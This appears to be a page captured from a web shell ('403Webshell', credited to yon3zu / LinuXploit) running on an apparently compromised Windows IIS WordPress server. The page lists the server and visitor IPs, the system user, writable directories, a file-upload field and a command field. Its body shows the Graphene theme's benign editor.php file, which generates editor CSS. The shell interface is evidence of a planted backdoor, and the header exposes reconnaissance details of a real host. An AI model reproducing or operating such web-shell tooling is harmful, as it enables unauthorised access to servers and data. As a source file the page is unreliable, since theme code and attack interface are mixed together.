403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.217.154
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /inetpub/wwwroot/engineering/iimec/wp-content/themes/graphene/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /inetpub/wwwroot/engineering/iimec/wp-content/themes/graphene/admin/editor.php
<?php
/**
 * Add dynamic CSS codes to new WP Editor
 */
function graphene_blocks_dynamic_css(){
	global $pagenow, $graphene_settings;
	if ( $pagenow != 'post.php' ) return;

	$content_width = graphene_get_content_width();
	$wide_width = floor( $content_width * 1.25 );

	/* Basic editor style */
	$style = '
		body.block-editor-page .editor-post-title__block,
		body.block-editor-page .editor-default-block-appender,
		body.block-editor-page .editor-block-list__block,
		.wp-block {
		    max-width: ' . $content_width . 'px !important;
		}
		body.block-editor-page .editor-block-list__block[data-align="wide"],
		.wp-block[data-align="wide"] {
		    max-width: ' . $wide_width . 'px !important;
		}
		.edit-post-visual-editor .editor-block-list__block[data-align=full],
		.wp-block[data-align="full"] {
			max-width: none !important;
		}
		.edit-post-layout__metaboxes:not(:empty) {
			margin-top: 0;
		}
	';


	/* Build custom style according to theme settings */
	$colours = array(
		'content_bg' 			=> '.edit-post-layout__content .edit-post-visual-editor {background-color: %s;}',
		'content_font_colour' 	=> '.editor-block-list__block, .editor-block-list__block p, .editor-rich-text h1, .editor-rich-text h2, .editor-rich-text h3, .editor-rich-text h4, .editor-rich-text h5, .editor-rich-text h6, blockquote p, .wp-block-quote p, .editor-block-list__block .wp-block-quote p, .lead {color: %s}',
		'title_font_colour' 	=> '.editor-post-title__block .editor-post-title__input {color: %s}',
		'link_colour_normal' 	=> '.editor-block-list__block-edit a {color: %s}',
		'link_colour_hover' 	=> '.editor-block-list__block-edit a:focus, .editor-block-list__block-edit a:hover {color: %s}',
	);
	$style .= graphene_build_style( $colours );

	$colours = array(
		'button_bg|button_label'=> '.btn, .Button, .colour-preview .button, input[type="submit"], button[type="submit"], #commentform #submit, .wpsc_buy_button, #back-to-top, .wp-block-button .wp-block-button__link:not(.has-background) {background: %1$s; color: %2$s}
		.wp-block-button.is-style-outline .wp-block-button__link {background:transparent; border-color: %1$s}',
	);
	$style .= graphene_build_style( $colours );
	
	/* Print the styles */
	echo '<style type="text/css">' . "\n" . graphene_minify_css( apply_filters( 'graphene_editor_style', $style ) ) . "\n" . '</style>' . "\n";
}
add_action( 'admin_head', 'graphene_blocks_dynamic_css', 100 );

Youez - 2016 - github.com/yon3zu
LinuXploit